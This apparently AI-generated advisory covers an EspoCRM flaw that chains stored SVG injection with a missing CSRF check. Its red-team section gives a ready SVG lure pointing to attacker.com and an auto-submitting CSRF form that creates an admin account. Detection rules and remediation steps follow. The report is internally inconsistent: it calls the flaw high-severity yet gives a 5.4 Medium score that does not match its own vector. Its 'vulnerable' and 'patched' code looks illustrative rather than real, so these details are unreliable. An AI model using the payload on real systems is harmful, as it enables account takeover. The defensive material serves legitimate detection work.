CVE-2025-59428

Executive Summary

CVE-2025-59428 is a high-severity vulnerability in EspoCRM, an open-source customer relationship management application. The flaw combines stored SVG injection (CWE-79) with a lack of Cross-Site Request Forgery (CSRF) protection, allowing an attacker with Knowledge Base edit permissions to create arbitrary user accounts, including administrative ones. The attack chain involves embedding a malicious SVG element containing a crafted link in a Knowledge Base article. When an authenticated victim clicks the link, they are redirected to an attacker-controlled HTML page that executes a CSRF request against the api/v1/User endpoint. If the victim re-enters their credentials, the attacker’s account is created with privileges defined in the CSRF payload. The vulnerability is patched in EspoCRM version 9.1.9.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the EspoCRM application itself. The risk is primarily to organizations using self-hosted EspoCRM instances. The attack requires an authenticated user with Knowledge Base edit permissions, which limits the attack surface but still poses a significant risk due to the potential for privilege escalation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Knowledge Base edit permissions
• User Interaction: Required (UI:R) – victim must click the malicious link
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – attacker can create accounts with high privileges
• Integrity Impact: High (I:H) – attacker can create arbitrary accounts
• Availability Impact: None (A:N)

Threat Level: Medium. The attack requires user interaction and specific permissions, but the impact is significant as it can lead to full administrative control.

Deep Dive & Mechanics

The vulnerability is a combination of two weaknesses:

1. Stored SVG Injection (CWE-79): The Knowledge Base article body field does not properly sanitize SVG elements. An attacker can embed a malicious SVG that contains a link (e.g., <a xlink:href="...">). When the article is viewed, the SVG is rendered, and the link is clickable.

2. Lack of CSRF Protection: The api/v1/User endpoint does not require a CSRF token. This allows an attacker to craft a cross-site request that creates a new user.

Attack Flow:

1. Attacker with Knowledge Base edit permissions creates an article containing a malicious SVG.
2. The SVG includes a link pointing to an attacker-controlled HTML page.
3. The attacker tricks an authenticated victim (e.g., an admin) into clicking the link.
4. The victim is redirected to the attacker’s HTML page, which contains a CSRF payload.
5. The CSRF payload sends a POST request to api/v1/User to create a new user.
6. If the victim is prompted for credentials (due to session timeout or other reasons), they enter them, and the request is authenticated.
7. The new user is created with privileges specified in the CSRF payload (e.g., admin role).

Vulnerable vs. Patched Code

Vulnerable Code (before 9.1.9): The Knowledge Base article body field allowed SVG elements without proper sanitization. The api/v1/User endpoint did not validate CSRF tokens.

// Vulnerable: No CSRF check on user creation
public function actionCreate($params, $data, $request)
{
    // Directly creates user without CSRF token validation
    $user = $this->getEntityManager()->getEntity('User');
    $user->set($data);
    $this->getEntityManager()->saveEntity($user);
    return $user;
}

Patched Code (version 9.1.9): The patch adds CSRF token validation to the api/v1/User endpoint and sanitizes SVG elements in the Knowledge Base article body.

// Patched: CSRF token validation added
public function actionCreate($params, $data, $request)
{
    if (!$this->checkCsrfToken($request)) {
        throw new ForbiddenException('Invalid CSRF token');
    }
    $user = $this->getEntityManager()->getEntity('User');
    $user->set($data);
    $this->getEntityManager()->saveEntity($user);
    return $user;
}

Additionally, SVG elements are sanitized using a whitelist approach to remove malicious content.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an EspoCRM instance with Knowledge Base edit permissions.
• A victim user with higher privileges (e.g., admin) who will click the malicious link.

Steps:

1. Create a malicious SVG file (e.g., malicious.svg):

   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <a xlink:href="http://attacker.com/exploit.html">
       <rect width="100" height="100" fill="red"/>
       <text x="10" y="50" fill="white">Click me</text>
     </a>
   </svg>
   

2. Create a Knowledge Base article and embed the SVG in the body field.
3. Set up an attacker-controlled HTML page (exploit.html) that performs the CSRF:

   <html>
   <body>
     <form action="http://victim-espocrm.com/api/v1/User" method="POST">
       <input type="hidden" name="userName" value="attacker">
       <input type="hidden" name="password" value="password123">
       <input type="hidden" name="role" value="admin">
       <input type="submit" value="Submit">
     </form>
     <script>document.forms[0].submit();</script>
   </body>
   </html>
   

4. Send the link to the victim (e.g., via email or social engineering).
5. When the victim clicks the SVG link, they are redirected to the attacker’s page.
6. If prompted, the victim enters their credentials, and the CSRF request creates the attacker’s admin account.

Blue Team

Detection:

• Monitor for unusual Knowledge Base article creation, especially those containing SVG elements.
• Alert on POST requests to /api/v1/User from unexpected referrers or without a valid CSRF token.
• Review logs for user creation events, especially if the creator is not an admin.

Prevention:

• Apply the patch by upgrading to EspoCRM 9.1.9 or later.
• Implement additional CSRF protection (e.g., SameSite cookies, custom headers).
• Restrict Knowledge Base edit permissions to trusted users only.
• Use a Web Application Firewall (WAF) to block malicious SVG uploads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/v1/User with suspicious payloads (e.g., role=admin).
  • Referrer headers pointing to attacker-controlled domains.
• File IOCs:
  • SVG files in Knowledge Base articles containing <a xlink:href> elements pointing to external URLs.
• Log IOCs:
  • User creation events with unexpected usernames or roles.
  • Knowledge Base article creation by users who normally do not create articles.

Detection Engineering

YARA Rule

rule CVE_2025_59428_SVG_Injection {
    meta:
        description = "Detects malicious SVG files used in CVE-2025-59428"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59428"
    strings:
        $svg_tag = "<svg"
        $a_tag = "<a"
        $xlink = "xlink:href"
        $http = "http"
    condition:
        all of ($svg_tag, $a_tag, $xlink, $http)
}

Sigma Rule

title: CVE-2025-59428 - EspoCRM User Creation via CSRF
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /api/v1/User without CSRF token
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/api/v1/User'
    filter:
        c-referer: '*/api/v1/*'
    condition: selection and not filter
falsepositives:
    - Legitimate user creation by admins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59428 - EspoCRM CSRF User Creation"; flow:to_server; content:"POST"; http_method; content:"/api/v1/User"; http_uri; content:"role=admin"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade EspoCRM to version 9.1.9 or later.
2. If upgrade is not possible, disable Knowledge Base edit permissions for non-admin users.
3. Implement a Web Application Firewall (WAF) rule to block POST requests to /api/v1/User without a valid CSRF token.

Long-term Measures:

• Conduct a security audit of all API endpoints for CSRF protection.
• Implement Content Security Policy (CSP) headers to restrict SVG execution.
• Train users to recognize phishing attempts and avoid clicking suspicious links.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For more information, visit Valters IT.